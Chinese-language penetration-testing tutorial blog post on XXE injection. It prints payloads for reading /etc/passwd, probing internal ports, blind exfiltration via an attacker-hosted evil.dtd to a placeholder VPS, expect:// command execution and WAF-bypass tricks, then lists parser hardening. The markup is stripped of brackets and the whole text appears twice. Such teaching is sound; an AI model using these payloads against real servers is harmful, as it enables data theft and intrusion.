大家好我是皮皮宋之前聊过 XXE 和 SSRF 的关联但很多新手反馈“知道 XXE 高危却看不懂 XML 语法更不知道怎么实操利用”。今天这篇我从XML 基础语法讲起到 XXE 漏洞原理、有回显 / 无回显利用、内网探测、WAF 绕过再到防御方案全程保姆级拆解就算你是零基础也能一步步学会 XXE 挖洞和验证一、XXE 漏洞核心定义一句话讲透XXEXML 外部实体注入攻击者构造恶意 XML 文档让服务器的 XML 解析器加载外部实体从而读取本地文件、探测内网、执行命令甚至攻击内网系统。 通俗理解XML 解析器本应只解析合法的 XML 数据但如果没禁用 “外部实体” 功能就会被攻击者骗去 “访问指定资源”—— 比如读服务器的 /etc/passwd或者探内网 192.168.1.1 的端口。二、先搞定 XML 基础看不懂这个XXE 永远学不会XML 是用于传输 / 存储数据的标记语言核心结构包括XML 声明 DTD 文档类型定义可选 文档元素。2.1 XML 核心构建模块新手必认模块作用例子元素文档核心可包含文本 / 其他元素notehello/note属性给元素加额外信息img srctest.png /实体定义文本变量XXE 核心利用点!ENTITY name testPCDATA会被解析的文本普通文本内容CDATA不会被解析的文本![CDATA[test]]2.2 DTD 文档类型定义XXE 的 “突破口”DTD 用来定义 XML 文档的合法规则分内部声明和外部引用XXE 就是利用外部引用1. 内部 DTD写在 XML 里?xml version1.0? !DOCTYPE note[ !ELEMENT note(to,from,heading,body)!-- 定义元素 -- !ELEMENT to(#PCDATA)!-- 元素内容为普通文本 -- !ENTITY writerBillGates!-- 内部实体 -- ] note towriter;/to!-- 引用实体显示Bill Gates -- /note2. 外部 DTD引用外部文件?xml version1.0? !DOCTYPE note SYSTEMhttp://test.com/note.dtd!-- 引用外部DTD -- note toGeorge/to /note2.3 DTD 实体XXE 利用的核心实体是 XML 里的 “变量”分两种一般实体XML 文档中使用引用用实体名;参数实体仅在 DTD 中使用引用用%实体名;盲 XXE 必用外部实体声明XXE 关键!ENTITY 实体名 SYSTEM 协议://资源路径比如三、XXE 漏洞利用有回显 / 无回显两种场景不同解析器支持的协议不同决定能做什么libxml2file、http、ftpPHPfile、http、ftp、php、data 等需扩展Javafile、http、ftp、gopher 等3.1 有回显 XXE直接拿结果新手首选服务器会把解析结果返回页面最易利用核心玩法 1读取本地文件file 协议?xml version1.0 encodingutf-8? !DOCTYPE c[ !ENTITY xxe SYSTEM file:///etc/passwd !-- 读取Linux系统文件 -- !-- Windowsfile:///d:/test.txt -- ] xxxe;/x!-- 引用实体页面显示文件内容 --核心玩法 2探测内网端口http 协议?xml version1.0 encodingUTF-8? !DOCTYPEfoo[ !ELEMENT foo ANY !ENTITY xxe SYSTEM http://192.168.33.130:8080 !-- 探测内网IP端口 -- ] xxxe;/x✅ 效果端口开放→返回响应端口关闭→返回 “Connection refused”。3.2 盲 XXE无回显带外数据外带服务器不返回结果需把数据发送到攻击者的服务器DNSlog / 自己的 VPS步骤 1攻击者 VPS 上新建 evil.dtd!ENTITY % payload !ENTITY % send SYSTEM http://你的VPSIP:8081/?data%file; !-- 把%file内容当参数发过来 -- %payload;步骤 2构造恶意 XML?xml version1.0? !DOCTYPE test[ !ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd !-- 读取文件并base64编码避免乱码 -- !ENTITY % dtd SYSTEM http://你的VPSIP:8081/evil.dtd !-- 引用外部DTD -- %dtd; !-- 加载参数实体 -- %send; !-- 发送数据到VPS -- ]步骤 3查看 VPS 日志启动 HTTP 服务python -m http.server 8081日志里会看到?database64编码的文件内容解码就拿到数据四、XXE 漏洞的核心危害比你想的更严重4.1 读取任意敏感文件读 /etc/passwd、/etc/shadowLinux读 tomcat-users.xmlTomcat 账号密码读数据库配置文件db.properties4.2 执行系统命令特定环境PHP 安装 expect 扩展时可执行命令!ENTITY xxe SYSTEM expect://id !-- 执行id命令 --4.3 内网探测 攻击扫描内网 IP / 端口绘制网络拓扑攻击内网应用如 Struts2、Redis4.4 数据外带盲 XXE就算无回显也能把服务器敏感数据偷到自己的 VPS。五、XXE 漏洞怎么找黑盒测试新手按这几步5 分钟就能验证看请求格式抓包发现test这类 XML 格式或 Content-Type 是text/xml/application/xml盲猜改格式把 JSON 请求的 Content-Type 改成application/xml发送简单 XML看是否报错DNSlog 验证构造指向 DNSlog 的 XML有回连 存在 XXEBurp 辅助抓包后右键→Active Scan自动检测 XXE。六、XXE 绕过 WAF 技巧突破防护很多网站会拦截 XXE payload记这 4 个实用绕过方法6.1 额外空格绕过在 XML 标记里加空格绕过正则匹配?xml version1.0?!-- 版本后加多个空格 -- !DOCTYPE c[!-- DOCTYPE后加空格 -- !ENTITY xxe SYSTEM file:///etc/passwd ] xxxe;/x6.2 格式无效绕过引用未知实体让 WAF 认为 XML 无效但解析器仍执行?xml version1.0? !DOCTYPE test[ !ENTITY % unknown unknown_entity!-- 未知实体 -- %unknown; !-- 引用未知实体WAF可能放过 -- !ENTITY xxe SYSTEM file:///etc/passwd ] xxxe;/x6.3 特殊编码绕过用 UTF-16/UTF-32 编码 XML绕过只识别 UTF-8 的 WAF把 XML 保存为 UTF-16 编码再发送请求WAF 读不懂编码解析器能正常解析。6.4 混合编码绕过XML 开头用 UTF-8内部改编码如 windows-1251?xml version1.0 encodingwindows-1251? !DOCTYPE c[ !ENTITY xxe SYSTEM file:///etc/passwd ] xxxe;/x七、XXE 漏洞防御从根源杜绝防御核心禁用外部实体解析其他都是辅助7.1 开发语言层面最有效// Java DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);// 禁用外部实体 dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true); // PHP libxml_disable_entity_loader(true);// 禁用实体加载 // Python from lxml importetree xmlParser etree.XMLParser(resolve_entitiesFalse)// 禁用实体解析 xmlData etree.parse(xmlSource,xmlParser)7.2 输入过滤辅助过滤 XML 中的危险关键词、、SYSTEM、PUBLIC。7.3 升级解析器使用最新版本的 XML 解析库修复已知漏洞。 今天小结XXE 漏洞的核心是 “XML 解析器加载了恶意外部实体”新手学习路径先懂 XML 基础DTD、实体练有回显 XXE读文件、探内网学盲 XXE数据外带掌握绕过和防御。它和 SSRF 的核心逻辑一致利用服务器发起非预期请求只是触发方式不同学会 XXE内网渗透又多一个 “利器”
皮皮宋渗透日记 10|XXE 漏洞深度剖析:从 XML 基础到实战利用 + 绕过 + 防御
发布时间:2026/7/15 11:35:09
大家好我是皮皮宋之前聊过 XXE 和 SSRF 的关联但很多新手反馈“知道 XXE 高危却看不懂 XML 语法更不知道怎么实操利用”。今天这篇我从XML 基础语法讲起到 XXE 漏洞原理、有回显 / 无回显利用、内网探测、WAF 绕过再到防御方案全程保姆级拆解就算你是零基础也能一步步学会 XXE 挖洞和验证一、XXE 漏洞核心定义一句话讲透XXEXML 外部实体注入攻击者构造恶意 XML 文档让服务器的 XML 解析器加载外部实体从而读取本地文件、探测内网、执行命令甚至攻击内网系统。 通俗理解XML 解析器本应只解析合法的 XML 数据但如果没禁用 “外部实体” 功能就会被攻击者骗去 “访问指定资源”—— 比如读服务器的 /etc/passwd或者探内网 192.168.1.1 的端口。二、先搞定 XML 基础看不懂这个XXE 永远学不会XML 是用于传输 / 存储数据的标记语言核心结构包括XML 声明 DTD 文档类型定义可选 文档元素。2.1 XML 核心构建模块新手必认模块作用例子元素文档核心可包含文本 / 其他元素notehello/note属性给元素加额外信息img srctest.png /实体定义文本变量XXE 核心利用点!ENTITY name testPCDATA会被解析的文本普通文本内容CDATA不会被解析的文本![CDATA[test]]2.2 DTD 文档类型定义XXE 的 “突破口”DTD 用来定义 XML 文档的合法规则分内部声明和外部引用XXE 就是利用外部引用1. 内部 DTD写在 XML 里?xml version1.0? !DOCTYPE note[ !ELEMENT note(to,from,heading,body)!-- 定义元素 -- !ELEMENT to(#PCDATA)!-- 元素内容为普通文本 -- !ENTITY writerBillGates!-- 内部实体 -- ] note towriter;/to!-- 引用实体显示Bill Gates -- /note2. 外部 DTD引用外部文件?xml version1.0? !DOCTYPE note SYSTEMhttp://test.com/note.dtd!-- 引用外部DTD -- note toGeorge/to /note2.3 DTD 实体XXE 利用的核心实体是 XML 里的 “变量”分两种一般实体XML 文档中使用引用用实体名;参数实体仅在 DTD 中使用引用用%实体名;盲 XXE 必用外部实体声明XXE 关键!ENTITY 实体名 SYSTEM 协议://资源路径比如三、XXE 漏洞利用有回显 / 无回显两种场景不同解析器支持的协议不同决定能做什么libxml2file、http、ftpPHPfile、http、ftp、php、data 等需扩展Javafile、http、ftp、gopher 等3.1 有回显 XXE直接拿结果新手首选服务器会把解析结果返回页面最易利用核心玩法 1读取本地文件file 协议?xml version1.0 encodingutf-8? !DOCTYPE c[ !ENTITY xxe SYSTEM file:///etc/passwd !-- 读取Linux系统文件 -- !-- Windowsfile:///d:/test.txt -- ] xxxe;/x!-- 引用实体页面显示文件内容 --核心玩法 2探测内网端口http 协议?xml version1.0 encodingUTF-8? !DOCTYPEfoo[ !ELEMENT foo ANY !ENTITY xxe SYSTEM http://192.168.33.130:8080 !-- 探测内网IP端口 -- ] xxxe;/x✅ 效果端口开放→返回响应端口关闭→返回 “Connection refused”。3.2 盲 XXE无回显带外数据外带服务器不返回结果需把数据发送到攻击者的服务器DNSlog / 自己的 VPS步骤 1攻击者 VPS 上新建 evil.dtd!ENTITY % payload !ENTITY % send SYSTEM http://你的VPSIP:8081/?data%file; !-- 把%file内容当参数发过来 -- %payload;步骤 2构造恶意 XML?xml version1.0? !DOCTYPE test[ !ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd !-- 读取文件并base64编码避免乱码 -- !ENTITY % dtd SYSTEM http://你的VPSIP:8081/evil.dtd !-- 引用外部DTD -- %dtd; !-- 加载参数实体 -- %send; !-- 发送数据到VPS -- ]步骤 3查看 VPS 日志启动 HTTP 服务python -m http.server 8081日志里会看到?database64编码的文件内容解码就拿到数据四、XXE 漏洞的核心危害比你想的更严重4.1 读取任意敏感文件读 /etc/passwd、/etc/shadowLinux读 tomcat-users.xmlTomcat 账号密码读数据库配置文件db.properties4.2 执行系统命令特定环境PHP 安装 expect 扩展时可执行命令!ENTITY xxe SYSTEM expect://id !-- 执行id命令 --4.3 内网探测 攻击扫描内网 IP / 端口绘制网络拓扑攻击内网应用如 Struts2、Redis4.4 数据外带盲 XXE就算无回显也能把服务器敏感数据偷到自己的 VPS。五、XXE 漏洞怎么找黑盒测试新手按这几步5 分钟就能验证看请求格式抓包发现test这类 XML 格式或 Content-Type 是text/xml/application/xml盲猜改格式把 JSON 请求的 Content-Type 改成application/xml发送简单 XML看是否报错DNSlog 验证构造指向 DNSlog 的 XML有回连 存在 XXEBurp 辅助抓包后右键→Active Scan自动检测 XXE。六、XXE 绕过 WAF 技巧突破防护很多网站会拦截 XXE payload记这 4 个实用绕过方法6.1 额外空格绕过在 XML 标记里加空格绕过正则匹配?xml version1.0?!-- 版本后加多个空格 -- !DOCTYPE c[!-- DOCTYPE后加空格 -- !ENTITY xxe SYSTEM file:///etc/passwd ] xxxe;/x6.2 格式无效绕过引用未知实体让 WAF 认为 XML 无效但解析器仍执行?xml version1.0? !DOCTYPE test[ !ENTITY % unknown unknown_entity!-- 未知实体 -- %unknown; !-- 引用未知实体WAF可能放过 -- !ENTITY xxe SYSTEM file:///etc/passwd ] xxxe;/x6.3 特殊编码绕过用 UTF-16/UTF-32 编码 XML绕过只识别 UTF-8 的 WAF把 XML 保存为 UTF-16 编码再发送请求WAF 读不懂编码解析器能正常解析。6.4 混合编码绕过XML 开头用 UTF-8内部改编码如 windows-1251?xml version1.0 encodingwindows-1251? !DOCTYPE c[ !ENTITY xxe SYSTEM file:///etc/passwd ] xxxe;/x七、XXE 漏洞防御从根源杜绝防御核心禁用外部实体解析其他都是辅助7.1 开发语言层面最有效// Java DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);// 禁用外部实体 dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true); // PHP libxml_disable_entity_loader(true);// 禁用实体加载 // Python from lxml importetree xmlParser etree.XMLParser(resolve_entitiesFalse)// 禁用实体解析 xmlData etree.parse(xmlSource,xmlParser)7.2 输入过滤辅助过滤 XML 中的危险关键词、、SYSTEM、PUBLIC。7.3 升级解析器使用最新版本的 XML 解析库修复已知漏洞。 今天小结XXE 漏洞的核心是 “XML 解析器加载了恶意外部实体”新手学习路径先懂 XML 基础DTD、实体练有回显 XXE读文件、探内网学盲 XXE数据外带掌握绕过和防御。它和 SSRF 的核心逻辑一致利用服务器发起非预期请求只是触发方式不同学会 XXE内网渗透又多一个 “利器”